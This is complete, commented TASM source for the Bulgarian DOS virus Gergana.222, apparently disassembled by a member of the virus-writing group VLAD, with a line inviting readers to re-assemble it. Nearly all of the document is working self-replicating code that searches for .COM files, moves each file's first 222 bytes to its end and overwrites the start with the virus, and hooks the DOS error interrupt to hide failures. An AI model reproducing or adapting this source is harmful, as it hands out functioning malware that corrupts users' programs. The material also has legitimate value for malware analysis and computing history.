
; Gergana.222
; disassembly by Metabolis/VLAD
; with a small amount of help from Qark :)

; I thought it would be interesting since it infects the start of
; files whereas most will append.

; Of course the virus is from Bulgaria, but did you know Gergana
; is a female Bulgarian name? ;)

; use TASM to re-assemble

int24s          equ     12h                     ; original int 24h
int24o          equ     14h                     ; handler location
dtapos          equ     80h                     ; DTA position in memory
fbuffer         equ     0FA00h                  ; 222 byte buffer
inf_flag        equ     0FA46h                  ; infection flag
tempdta         equ     0FF80h                  ; Where to store temp DTA
filename        equ     0FF9Eh                  ; Where the filename is :)

seg_a           segment byte public
                assume  cs:seg_a, ds:seg_a

		org	100h

gerg_222        proc    far

start:
                mov     ax,flength
		push	ax
                mov     dx,tempdta              ; Temporarily store
                mov     ah,1Ah                  ; DTA at address tempdta
                int     21h                     ; Set DTA to buffer
                mov     cx,20h                  ; attributes to search for
                mov     dx,offset filemask      ; '*.COM'
                mov     ah,4Eh                  ; Find 1st file matching the
                int     21h                     ; above string..
                jc      finish_up               ; uh oh.. no files!
                mov     dx,offset int_24h_entry ; Attach the new error
                mov     ax,2524h                ; handling procedure to
                int     21h                     ; int 24h :)

read_virus:
                mov     dx,filename             ; open file with filename
                mov     ax,3D02h                ; to read
                int     21h
                jc      find_next               ; can't open! goto find_next
                xchg    bx,ax                   ; put file handle into BX
                mov     cx,0DEh                 ; read 222 bytes
                mov     dx,fbuffer              ; into fbuffer
		mov	ah,3Fh
                int     21h
                jnc     infect                  ; no error goto infect
find_next:
                call    close_file
		mov	ah,4Fh
                int     21h                     ; find next file!
                jc      finish_up               ; no files, goto finish_up
                jnc     read_virus              ; open and read the virus!

gerg_222	endp

close_file      proc    near
                mov     ah,3Eh
                int     21h                     ; close file with handle
                                                ; in BX
		retn
close_file      endp

filemask        db      '*.COM', 00h            ; file mask for search
flength         dw      0DEh                    ; file length

write_virus     proc    near
                mov     ah,40h                  ; write the virus (222 bytes)
		mov	cx,0DEh
                int     21h
		retn
write_virus     endp

infect:
                mov     cx,cs:inf_flag
		cmp	cx,2E2Ah
                je      find_next               ; if file infected, find next
		mov	ax,4202h
                xor     cx,cx                   ; lseek to the end of the
                xor     dx,dx                   ; file
                int     21h
                cmp     ax,0C350h               ; if file is bigger than
                ja      find_next               ; 50000 don't infect
                cmp     ax,100h                 ; if file is smaller than
                jb      find_next               ; 256 don't infect
                mov     flength,ax              ; put file length in flength
                mov     dx,fbuffer              ; point to the file buffer
                call    write_virus             ; write the 222 bytes which
                                                ; were originally at the
                                                ; start of the infected
                                                ; program
                jc      find_next               ; no can do, find next!
		mov	ax,4200h
                xor     cx,cx                   ; seek to the beginning
                xor     dx,dx                   ; of the file using
                int     21h                     ; the file handle BX
                mov     dx,100h                 ; from 100h (which is where
                call    write_virus             ; the virus is)
                jc      find_next               ; nope, find another file!
                call    close_file              ; infected! close the file
finish_up:
                mov     dx,cs:int24s            ; return the error handling
                mov     ax,cs:int24o            ; interrupt 24h to its
                mov     ds,ax                   ; previous state
		mov	ax,2524h
                int     21h
		push	cs
		pop	ds
		mov	ah,1Ah
                mov     dx,dtapos               ; set DTA back to original
                int     21h                     ; position 80h
                mov     si,offset execute_original
                mov     di,tempdta
		mov	cx,30h
                rep     movsb                   ; move 30 bytes from the
                                                ; execute original code
                                                ; to the tempdta storage
                jmp     $-237h                  ; jump back 567 bytes to
                                                ; execute the next part
                                                ; of the program

execute_original:

                pop     si                      ; prolly points to here
                add     si,100h                 ; add start of com address
                mov     di,100h                 ; set destination as 100h.
                mov     cx,0deh                 ; virus length.
                repz    movsb                   ; move original code back.
                mov     ax,100h
                jmp     ax                      ; return to original code.

copyright       db      'Gergana II -BUL'       ; authors signature

int_24h_entry   proc    far
                xor     ax,ax                   ; Zero register
                iret                            ; Interrupt return
int_24h_entry   endp

                db       90h, 90h,0CDh, 20h     ; First 4 bytes of infectee

seg_a           ends

                end     start
